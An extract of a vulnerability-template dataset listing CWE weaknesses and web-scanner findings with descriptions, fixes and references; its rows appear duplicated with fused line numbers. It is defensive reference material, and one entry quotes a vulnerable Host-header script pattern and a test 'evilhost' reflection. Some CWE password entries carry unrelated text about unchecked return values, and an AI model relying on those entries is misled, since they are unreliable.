2190 On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.",,unclassified,Security Tips: http://developer.android.com/training/articles/security-tips.html#StoringData
21912191 CWE-922,Insecure Storage of Sensitive Information (Type: Class),"The software stores sensitive information without properly limiting read or write access by unauthorized actors.
2192 If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.",,unclassified,
2192 If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.",,unclassified,
21932193 CWE-923,Improper Authentication of Endpoint in a Communication Channel (Type: Class),"The software establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly authenticate the endpoint to ensure it is associated with the identity of the intended actor.
21942194 Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.
2195 While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.",,unclassified,
2195 While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.",,unclassified,
21962196 CWE-924,Improper Enforcement of Message Integrity During Transmission in a Communication Channel (Type: Class),"The software establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.
2197 A man-in-the-middle (MITM) attacker might be able to modify the message and spoof the endpoint.",,unclassified,
2197 A man-in-the-middle (MITM) attacker might be able to modify the message and spoof the endpoint.",,unclassified,
21982198 CWE-925,Improper Verification of Intent by Broadcast Receiver (Type: Variant),"The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source, e.g. by checking the action string.
2199 Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application declares the ability for a component to receive broadcast messages, in most cases a malicious application can send an Intent with a non-reserved action string to that receiving component.",,unclassified,
2199 Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application declares the ability for a component to receive broadcast messages, in most cases a malicious application can send an Intent with a non-reserved action string to that receiving component.",,unclassified,
22002200 CWE-926,Improper Restriction of Content Provider Export to Other Applications (Type: Variant),"The Android application uses a Content Provider that does not properly restrict which applications can access the data that is offered by the Content Provider.
22012201 Android's Content Provider mechanism can be used to share data with other applications or internally within the same application. If access to the Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data.
22022202 This weakness could be expressed in several different ways:
22032203 The Content Provider is only intended for internal use by the application, and thus does not need to be exported.
22042204 In Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.
2205 The Content Provider is intended for external use by some applications, but it does not properly limit access, e.g. by exporting with excessive permissions.",,unclassified,No description: http://developer.android.com/training/articles/security-tips.html#ContentProviders
2205 The Content Provider is intended for external use by some applications, but it does not properly limit access, e.g. by exporting with excessive permissions.",,unclassified,No description: http://developer.android.com/training/articles/security-tips.html#ContentProviders
22062206 CWE-927,Use of Implicit Intent for Sensitive Communication (Type: Variant),"The Android application uses an implicit intent for transmitting sensitive data to other applications.
22072207 Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data.",,unclassified,"Analyzing Inter-Application Communication in Android: http://www.cs.berkeley.edu/~afelt/intentsecurity-mobisys.pdf
2208 Security Tips: http://developer.android.com/training/articles/security-tips.html#ContentProviders"
2208 Security Tips: http://developer.android.com/training/articles/security-tips.html#ContentProviders"
22092209 CWE-96,Improper Neutralization of Directives in Statically Saved Code (Static Code Injection) (Type: Base),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.
2210 This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.",,unclassified,
2210 This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.",,unclassified,
22112211 CWE-97,Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (Type: Variant),"The software generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.
2212 This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.",,unclassified,
2212 This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.",,unclassified,
22132213 CWE-116,Improper Encoding or Escaping of Output (Type: Class),"The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
22142214 Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.
22152215 Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, ""GET /index.html HTTP/1.1"" is a structured message containing a command (""GET"") with a single argument (""/index.html"") and metadata about which protocol version is being used (""HTTP/1.1"").
22202220 Input validation or output filtering, which is better?: http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html
22212221 Input Validation - Not That Important: http://manicode.blogspot.com/2008/08/input-validation-not-that-important.html
22222222 Preventing XSS with Correct Output Encoding: http://phed.org/2008/05/19/preventing-xss-with-correct-output-encoding/
2223 Writing Secure Code: Chapter 11, ""Canonical Representation Issues"" Page 363"
2223 Writing Secure Code: Chapter 11, ""Canonical Representation Issues"" Page 363"
22242224 CWE-121,Stack-based Buffer Overflow (Type: Variant),"A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).
22252225 A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the ""classic"" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.",,high,"Writing Secure Code: Chapter 5, ""Stack Overruns"" Page 129
22262226 24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89
22272227 The Art of Software Security Assessment: Chapter 3, ""Nonexecutable Stack"", Page 76.
2228 The Art of Software Security Assessment: Chapter 5, ""Protection Mechanisms"", Page 189."
2228 The Art of Software Security Assessment: Chapter 5, ""Protection Mechanisms"", Page 189."
22292229 CWE-134,Uncontrolled Format String (Type: Base),"The software uses externally-controlled format strings in printf-style functions, which can lead to buffer overflows or data representation problems.
22302230 If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.",,high,"Format String Vulnerabilities in Perl Programs: http://www.securityfocus.com/archive/1/418460/30/0/threaded
22312231 Programming Language Format String Vulnerabilities: http://www.ddj.com/dept/security/197002914
22322232 Format String Attacks: http://www.thenewsh.com/~newsham/format-string-attacks.pdf
22332233 Writing Secure Code: Chapter 5, ""Format String Bugs"" Page 147
22342234 24 Deadly Sins of Software Security: ""Sin 6: Format String Problems."" Page 109
2235 The Art of Software Security Assessment: Chapter 8, ""C Format Strings"", Page 422."
2235 The Art of Software Security Assessment: Chapter 8, ""C Format Strings"", Page 422."
22362236 CWE-256,Plaintext Storage of a Password (Type: Variant),"Storing a password in plaintext may result in a system compromise.
2237 Two common programmer assumptions are ""this function call can never fail"" and ""it doesn't matter if this function call fails"". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.",,high,Building Secure Software: How to Avoid Security Problems the Right Way
2237 Two common programmer assumptions are ""this function call can never fail"" and ""it doesn't matter if this function call fails"". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.",,high,Building Secure Software: How to Avoid Security Problems the Right Way
22382238 CWE-257,Storing Passwords in a Recoverable Format (Type: Base),"The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.
2239 Two common programmer assumptions are ""this function call can never fail"" and ""it doesn't matter if this function call fails"". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.",,high,
2239 Two common programmer assumptions are ""this function call can never fail"" and ""it doesn't matter if this function call fails"". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.",,high,
22402240 CWE-258,Empty Password in Configuration File (Type: Variant),"Using an empty string as a password is insecure.
2241 Two common programmer assumptions are ""this function call can never fail"" and ""it doesn't matter if this function call fails"". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.",,high,Building Secure Software: How to Avoid Security Problems the Right Way
2241 Two common programmer assumptions are ""this function call can never fail"" and ""it doesn't matter if this function call fails"". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.",,high,Building Secure Software: How to Avoid Security Problems the Right Way
22422242 CWE-259,Use of Hard-coded Password (Type: Base),"The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
22432243 A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:
22442244 Inbound: the software contains an authentication mechanism that checks for a hard-coded password.
22452245 Outbound: the software connects to another system or component, and it contains hard-coded password for connecting to that component.
22462246 In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.
2247 The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.",,high,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
2247 The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.",,high,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
22482248 CWE-309,Use of Password System for Primary Authentication (Type: Base),"The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.
2249 While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.",,high,
2249 While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.",,high,
22502250 CWE-74,Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection) (Type: Class),"The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
2251 Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.",,high,
2251 Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.",,high,
22522252 CWE-77,Improper Neutralization of Special Elements used in a Command (Command Injection) (Type: Class),"The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
22532253 Command injection vulnerabilities typically occur when:
22542254 1. Data enters the application from an untrusted source.
22552255 2. The data is part of a string that is executed as a command by the application.
22562256 3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.",,high,"Exploiting Software: How to Break Code
2257 24 Deadly Sins of Software Security: ""Sin 10: Command Injection."" Page 171"
2257 24 Deadly Sins of Software Security: ""Sin 10: Command Injection."" Page 171"
22582258 CWE-798,Use of Hard-coded Credentials (Type: Base),"The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.
22592259 Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the software administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:
22602260 Inbound: the software contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.
22622262 In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.
22632263 The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.",,high,"Writing Secure Code: Chapter 8, ""Key Management Issues"" Page 272
22642264 Top 25 Series - Rank 11 - Hardcoded Credentials: http://blogs.sans.org/appsecstreetfighter/2010/03/10/top-25-series-rank-11-hardcoded-credentials/
2265 Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/"
2265 Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/"
22662266 CWE-89,Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) (Type: Base),"The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
22672267 Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.
22682268 SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.",,high,"24 Deadly Sins of Software Security: ""Sin 1: SQL Injection."" Page 3
22782278 Top 25 Series - Rank 2 - SQL Injection: http://blogs.sans.org/appsecstreetfighter/2010/03/01/top-25-series-rank-2-sql-injection/
22792279 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
22802280 The Art of Software Security Assessment: Chapter 8, ""SQL Queries"", Page 431.
2281 The Art of Software Security Assessment: Chapter 17, ""SQL Injection"", Page 1061."
2281 The Art of Software Security Assessment: Chapter 17, ""SQL Injection"", Page 1061."
22822282 CWE-262,Not Using Password Aging (Type: Variant),"If no mechanism is in place for managing password aging, users will have no incentive to update passwords in a timely manner.
2283 This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.",,low,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
2283 This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.",,low,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
22842284 CWE-263,Password Aging with Long Expiration (Type: Base),"Allowing password aging to occur unchecked can result in the possibility of diminished password integrity.
2285 Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.",,low,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
2285 Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.",,low,"24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
22862286 ,Session Cookie without Secure flag set,"This cookie does not have the Secure flag set. When a cookie is set with the Secure flag, it instructs the browser that the cookie can only be accessed over secure SSL channels. This is an important security protection for session cookies.
2287 ","If possible, you should set the Secure flag for this cookie.",low,
2287 ","If possible, you should set the Secure flag for this cookie.",low,
22882288 ,Session Cookie without HttpOnly flag Set,"This cookie does not have the HTTPOnly flag set. When a cookie is set with the HTTPOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.
2289 ","If possible, you should set the HTTPOnly flag for this cookie.",low,
2289 ","If possible, you should set the HTTPOnly flag for this cookie.",low,
22902290 ,Application error message,"This page contains an error/warning message that may disclose sensitive information.The message can also contain the location of the file that produced the unhandled exception.
22912291
22922292 The error messages may disclose sensitive information. This information can be used to launch further attacks.
2293 ",Review the source code for this script. The application need to show generic errors.,unclassified,
2293 ",Review the source code for this script. The application need to show generic errors.,unclassified,
22942294 ,Apache httpOnly Cookie Disclosure,"El servidor Apache version 2.2.X hasta la 2.2.21 no restringe correctamente la informacion mostrada en la contrsuccion del error "" Bad Request "" (aka 400) permitiendo a un atacante obtener los parametros de HTTPOnly.
22952295 Datos: http://fd.the-wildcat.de/apache_e36a9cf46c.php
2296 ",Actualizar el apache. La version 2.2.22 es la primer version que soluciona este problema.,unclassified,
2296 ",Actualizar el apache. La version 2.2.22 es la primer version que soluciona este problema.,unclassified,
22972297 ,Input Password with Autocomplete Enable,"Autocomplete allows the browser to predict the value. When a user starts to type in a field, the browser should display options to fill in the field, based on earlier typed values. If an attacker gain access to a computer its possible of get credentials back.
22982298 ","You should include the attribute Autocomplete OFF:
2299 <INPUT TYPE=""password"" AUTOCOMPLETE=""off"">",low,
2299 <INPUT TYPE=""password"" AUTOCOMPLETE=""off"">",low,
23002300 ,Backup Files,"Backup files can contain script sources, configuration files or other sensitive information that may help an malicious user to prepare more advanced attacks
2301 ","Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.",unclassified,
2301 ","Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.",unclassified,
23022302 ,Sesintive directory,"A possible sensitive directory has been found. This directory is not directly linked from the website.This check looks for common sensitive resources like backup directories, database dumps, administration pages, temporary directories. Each one of these directories could help an attacker to learn more about his target.
2303 ",,unclassified,
2303 ",,unclassified,
23042304 ,Slow HTTP Denial of Service Attack,"Slowloris and Slow HTTP POST DoS attacks rely on the fact that the HTTP protocol, by design, requires requests to be completely received by the server before they are processed. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. If the server keeps too many resources busy, this creates a denial of service.
2305 ",It's important to configure the timout values on the Webserver. Here is a link to a guide on how to prevent this kind of attack: https://community.qualys.com/blogs/securitylabs/2011/11/02/how-to-protect-against-slow-http-attacks,medium,
2305 ",It's important to configure the timout values on the Webserver. Here is a link to a guide on how to prevent this kind of attack: https://community.qualys.com/blogs/securitylabs/2011/11/02/how-to-protect-against-slow-http-attacks,medium,
23062306 ,Clickjacking,"It might be possible for a web page controlled by an attacker to load the content of this response within an iframe on the attacker's page. This may enable a ""clickjacking"" attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions. Ref:http://javascript.info/tutorial/clickjacking
2307 ","To effectively prevent framing attacks, the application should return a response header with the name X-Frame-Options and the value DENY to prevent framing altogether, or the value SAMEORIGIN to allow framing only by pages on the same origin as the response itself.",low,
2307 ","To effectively prevent framing attacks, the application should return a response header with the name X-Frame-Options and the value DENY to prevent framing altogether, or the value SAMEORIGIN to allow framing only by pages on the same origin as the response itself.",low,
23082308 ,OPTIONS method is enabled,"HTTP OPTIONS method is enabled on this web server. The OPTIONS method provides a list of the methods that are supported by the web server, it represents a request for information about the communication options available on the request/response chain identified by the Request-URI.
23092309 The OPTIONS method may expose sensitive information that may help an malicious user to prepare more advanced attacks.
2310 ",It's recommended to disable OPTIONS Method on the web server.,low,
2310 ",It's recommended to disable OPTIONS Method on the web server.,low,
23112311 ,TLS1/SSLv3 Renegotiation Vulnerability,"A vulnerability in the way SSL and TLS protocols allow renegotiation requests may allow an attacker to inject plaintext into an application protocol stream. This could result in a situation where the attacker may be able to issue commands to the server that appear to be coming from a legitimate source. This issue affects SSL version 3.0 and newer and TLS version 1.0 and newer.
23122312 A remote, unauthenticated attacker may be able to inject an arbitrary amount of chosen plaintext into the beginning of the application protocol stream. This could allow and attacker to issue HTTP requests, or take action impersonating the user, among other consequences.
2313 ",http://www.g-sec.lu/practicaltls.pdf,unclassified,
2313 ",http://www.g-sec.lu/practicaltls.pdf,unclassified,
23142314 ,Email address found,"One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like [email protected] and then record any addresses found.
2315 ",,unclassified,
2315 ",,unclassified,
23162316 ,File Inclusion,"It is possible for a remote attacker to include a file from local or remote resources and/or execute arbitrary script code with the privileges of the webserver.
23172317 ","Edit the source code to ensure that input is properly validated. Where is possible, it is recommended to make a list of accepted filenames and restrict the input to that list.
23182318
2319 For PHP, the option allow_url_fopen would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. It is recommended to disable this option from php.ini.",unclassified,
2319 For PHP, the option allow_url_fopen would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. It is recommended to disable this option from php.ini.",unclassified,
23202320 ,User Credentials Sent in Clear Text,"Vulnerability description
23212321 User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.
23222322
23232323 The impact of this vulnerability
23242324 A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.
2325 ","Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).",unclassified,
2325 ","Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).",unclassified,
23262326 ,URL Redirection,"This script is possibly vulnerable to URL redirection attacks.
23272327
23282328 URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting.
23292329
23302330 The impact of this vulnerability
23312331 A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.
2332 ",Your script should properly sanitize user input.,unclassified,
2332 ",Your script should properly sanitize user input.,unclassified,
23332333 ,Microsoft IIS tilde directory enumeration,"It is possible to detect short names of files and directories which have an 8.3 file naming scheme equivalent in Windows by using some vectors in several versions of Microsoft IIS. For instance, it is possible to detect all short-names of "".aspx"" files as they have 4 letters in their extensions. This can be a major issue especially for the .Net websites which are vulnerable to direct URL access as an attacker can find important files and folders that they are not normally visible.
2334 ",There is a way to disable Windows 8.3 short name creation.You can create a registry key named NtfsDisable8dot3NameCreation in HKLMSYSTEMCurrentControlSetControlFileSystem and set it to 1. That should disable short names creation. Refer to this Microsoft TechNet article to read more about the solution.,unclassified,
2334 ",There is a way to disable Windows 8.3 short name creation.You can create a registry key named NtfsDisable8dot3NameCreation in HKLMSYSTEMCurrentControlSetControlFileSystem and set it to 1. That should disable short names creation. Refer to this Microsoft TechNet article to read more about the solution.,unclassified,
23352335 ,SQL Injection,"SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.
23362336
23372337 This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.
23432343 Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.
23442344 ","Your script should filter metacharacters from user input.
23452345 Check detailed information for more information about fixing this vulnerability.
2346 Detailed information",unclassified,
2346 Detailed information",unclassified,
23472347 ,ASP.NET debugging enabled,"ASP.NET debugging is enabled on this application. It is recommended to disable debug mode before deploying a production application. By default, debugging is disabled, and although debugging is frequently enabled to troubleshoot a problem, it is also frequently not disabled again after the problem is resolved.
23482348 ","It may be possible to disclose sensitive information about the web sever the ASP.NET application.
23492349 More information on how to fix it:
2350 http://support.microsoft.com/default.aspx?scid=kb;en-us;815157",unclassified,
2350 http://support.microsoft.com/default.aspx?scid=kb;en-us;815157",unclassified,
23512351 ,Unicode tranformation Issues,"This page is vulnerable to various Unicode transformation issues such as Best-Fit Mappings, Overlong byte sequences, Ill-formed sequences.
23522352 Best-Fit Mappings occurs when a character X gets transformed to an entirely different character Y. In general, best-fit mappings occur when characters are transcoded between Unicode and another encoding.
23532353
23672367 http://www.blackhat.com/presentations/bh-usa-09/WEBER/BHUSA09-Weber-UnicodeSecurityPreview-PAPER.pdf
23682368 http://www.cl.cam.ac.uk/~mgk25/unicode.html
23692369 http://sirdarckcat.blogspot.ro/2009/10/couple-of-unicode-issues-on-php-and.html
2370 http://www.unicode.org/reports/tr36/",unclassified,
2370 http://www.unicode.org/reports/tr36/",unclassified,
23712371 ,File Upload XSS,"This script is possibly vulnerable to XSS (Cross-site scripting). The web application allows file upload and Acunetix WVS was able to upload a file containing HTML content. When HTML files are allowed, XSS payload can be injected in the file uploaded. Check Attack details for more information about this attack.
23722372
23732373 Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.
23742374 ","Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.
23752375
23762376 https://www.owasp.org/index.php/Unrestricted_File_Upload
2377 https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)",unclassified,
2377 https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)",unclassified,
23782378 ,Possible virtual host found,"Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name.
23792379
23802380 This web server is responding differently when the Host header is manipulated and various common virtual hosts are tested. This could indicate there is a Virtual Host present.
2381 ",Consult the virtual host configuration and check if this virtual host should be publicly accessible,unclassified,
2381 ",Consult the virtual host configuration and check if this virtual host should be publicly accessible,unclassified,
23822382 ,Host header attack,"An attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways.
23832383 Developers often resort to the exceedingly untrustworthy HTTP Host header (_SERVER[""HTTP_HOST""] in PHP).
23842384 Even otherwise-secure applications trust this value enough to write it to the page without HTML-encoding it with code equivalent to:
23922392 <script src=""http://_SERVER['HOST']/misc/jquery.js?v=1.4.4""> (Various)
23932393
23942394 Host header *********evilhostDx5oMrAd.com was reflected inside a A tag (href attribute).
2395 ","The web application should use the SERVER_NAME instead of the Host header. It should also create a dummy vhost that catches all requests with unrecognized Host headers. This can also be done under Nginx by specifying a non-wildcard SERVER_NAME, and under Apache by using a non-wildcard serverName and turning the UseCanonicalName directive on. Consult references for detailed information.",unclassified,
